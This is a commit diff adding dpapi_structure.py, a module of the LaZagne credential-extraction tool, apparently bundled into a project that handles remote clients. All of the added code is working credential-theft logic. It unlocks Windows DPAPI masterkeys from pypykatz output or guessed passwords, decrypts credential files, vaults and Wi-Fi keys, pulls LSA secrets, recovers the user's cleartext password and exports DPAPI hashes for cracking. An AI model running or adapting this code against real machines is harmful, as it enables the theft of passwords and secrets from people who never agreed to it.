summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/config/dpapi_structure.py
diff options
context:
space:
mode:
Diffstat (limited to 'foreign/client_handling/lazagne/config/dpapi_structure.py')
-rw-r--r--foreign/client_handling/lazagne/config/dpapi_structure.py186
1 files changed, 186 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/config/dpapi_structure.py b/foreign/client_handling/lazagne/config/dpapi_structure.py
new file mode 100644
index 0000000..7d6080b
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/dpapi_structure.py
@@ -0,0 +1,186 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+import codecs
+import os
+
+from foreign.client_handling.lazagne.config.DPAPI.masterkey import MasterKeyPool
+from foreign.client_handling.lazagne.config.DPAPI.credfile import CredFile
+from foreign.client_handling.lazagne.config.DPAPI.vault import Vault
+from foreign.client_handling.lazagne.config.DPAPI.blob import DPAPIBlob
+from foreign.client_handling.lazagne.config.write_output import print_debug
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.softwares.windows.lsa_secrets import LSASecrets
+
+
+def are_masterkeys_retrieved():
+ """
+ Before running modules using DPAPI, we have to retrieve masterkeys
+ otherwise, we do not realize these checks
+ """
+ current_user = constant.username
+ if constant.pypykatz_result.get(current_user, None):
+ password = constant.pypykatz_result[current_user].get('Password', None)
+ pwdhash = constant.pypykatz_result[current_user].get('Shahash', None)
+
+ # Create one DPAPI object by user
+ constant.user_dpapi = UserDpapi(password=password, pwdhash=pwdhash)
+
+ if not constant.user_dpapi or not constant.user_dpapi.unlocked:
+ # constant.user_password represents the password entered manually by the user
+ constant.user_dpapi = UserDpapi(password=constant.user_password)
+
+ # Add username to check username equals passwords
+ constant.user_dpapi.check_credentials([constant.username] + constant.password_found)
+
+ # Return True if at least one masterkey has been decrypted
+ return constant.user_dpapi.unlocked
+
+
+def manage_response(ok, msg):
+ if ok:
+ return msg
+ else:
+ print_debug('DEBUG', u'{msg}'.format(msg=msg))
+ return False
+
+
+class UserDpapi(object):
+ """
+ User class for DPAPI functions
+ """
+
+ def __init__(self, password=None, pwdhash=None):
+ self.sid = None
+ self.umkp = None
+ self.unlocked = False
+
+ protect_folder = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect')
+ credhist_file = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect', u'CREDHIST')
+
+ if os.path.exists(protect_folder):
+ for folder in os.listdir(protect_folder):
+ if folder.startswith('S-'):
+ self.sid = folder
+ break
+
+ if self.sid:
+ masterkeydir = os.path.join(protect_folder, self.sid)
+ if os.path.exists(masterkeydir):
+ self.umkp = MasterKeyPool()
+ self.umkp.load_directory(masterkeydir)
+ self.umkp.add_credhist_file(sid=self.sid, credfile=credhist_file)
+
+ if password:
+ for ok, r in self.umkp.try_credential(sid=self.sid, password=password):
+ if ok:
+ self.unlocked = True
+ print_debug('OK', r)
+ else:
+ print_debug('ERROR', r)
+
+ elif pwdhash:
+ for ok, r in self.umkp.try_credential_hash(self.sid, pwdhash=codecs.decode(pwdhash, 'hex')):
+ if ok:
+ self.unlocked = True
+ print_debug('OK', r)
+ else:
+ print_debug('ERROR', r)
+
+ def check_credentials(self, passwords):
+ if self.umkp:
+ for password in passwords:
+ for ok, r in self.umkp.try_credential(sid=self.sid, password=password):
+ if ok:
+ self.unlocked = True
+ print_debug('OK', r)
+ else:
+ print_debug('ERROR', r)
+
+ def decrypt_blob(self, dpapi_blob):
+ """
+ Decrypt DPAPI Blob
+ """
+ if self.umkp:
+ blob = DPAPIBlob(dpapi_blob)
+ ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp)
+ return manage_response(ok, msg)
+
+ def decrypt_cred(self, credfile):
+ """
+ Decrypt Credential Files
+ """
+ if self.umkp:
+ with open(credfile, 'rb') as f:
+ c = CredFile(f.read())
+ ok, msg = c.decrypt(self.umkp, credfile)
+ return manage_response(ok, msg)
+
+ def decrypt_vault(self, vaults_dir):
+ """
+ Decrypt Vault Files
+ """
+ if self.umkp:
+ v = Vault(vaults_dir=vaults_dir)
+ ok, msg = v.decrypt(mkp=self.umkp)
+ return manage_response(ok, msg)
+
+ def decrypt_encrypted_blob(self, ciphered, entropy_hex=False):
+ """
+ Decrypt encrypted blob
+ """
+ if self.umkp:
+ blob = DPAPIBlob(ciphered)
+ ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp, entropy_hex=entropy_hex)
+ return manage_response(ok, msg)
+
+ def get_dpapi_hash(self, context='local'):
+ """
+ Retrieve DPAPI hash to bruteforce it using john or hashcat.
+ """
+ if self.umkp:
+ return self.umkp.get_dpapi_hash(sid=self.sid, context=context)
+
+ def get_cleartext_password(self):
+ """
+ Retrieve cleartext password associated to the preferred user maskterkey.
+ This password should represent the windows user password.
+ """
+ if self.umkp:
+ return self.umkp.get_cleartext_password()
+
+
+class SystemDpapi(object):
+ """
+ System class for DPAPI functions
+ Need to have high privilege
+ """
+
+ def __init__(self):
+ self.smkp = None
+ self.unlocked = False
+
+ if not constant.lsa_secrets:
+ # Retrieve LSA secrets
+ LSASecrets().run()
+
+ if constant.lsa_secrets:
+ masterkeydir = u'C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User'
+ if os.path.exists(masterkeydir):
+ self.smkp = MasterKeyPool()
+ self.smkp.load_directory(masterkeydir)
+ self.smkp.add_system_credential(constant.lsa_secrets[b'DPAPI_SYSTEM'])
+ for ok, r in self.smkp.try_system_credential():
+ if ok:
+ print_debug('OK', r)
+ self.unlocked = True
+ else:
+ print_debug('ERROR', r)
+
+ def decrypt_wifi_blob(self, key_material):
+ """
+ Decrypt wifi password
+ """
+ if self.smkp:
+ blob = DPAPIBlob(key_material.decode('hex'))
+ ok, msg = blob.decrypt_encrypted_blob(mkp=self.smkp)
+ return manage_response(ok, msg)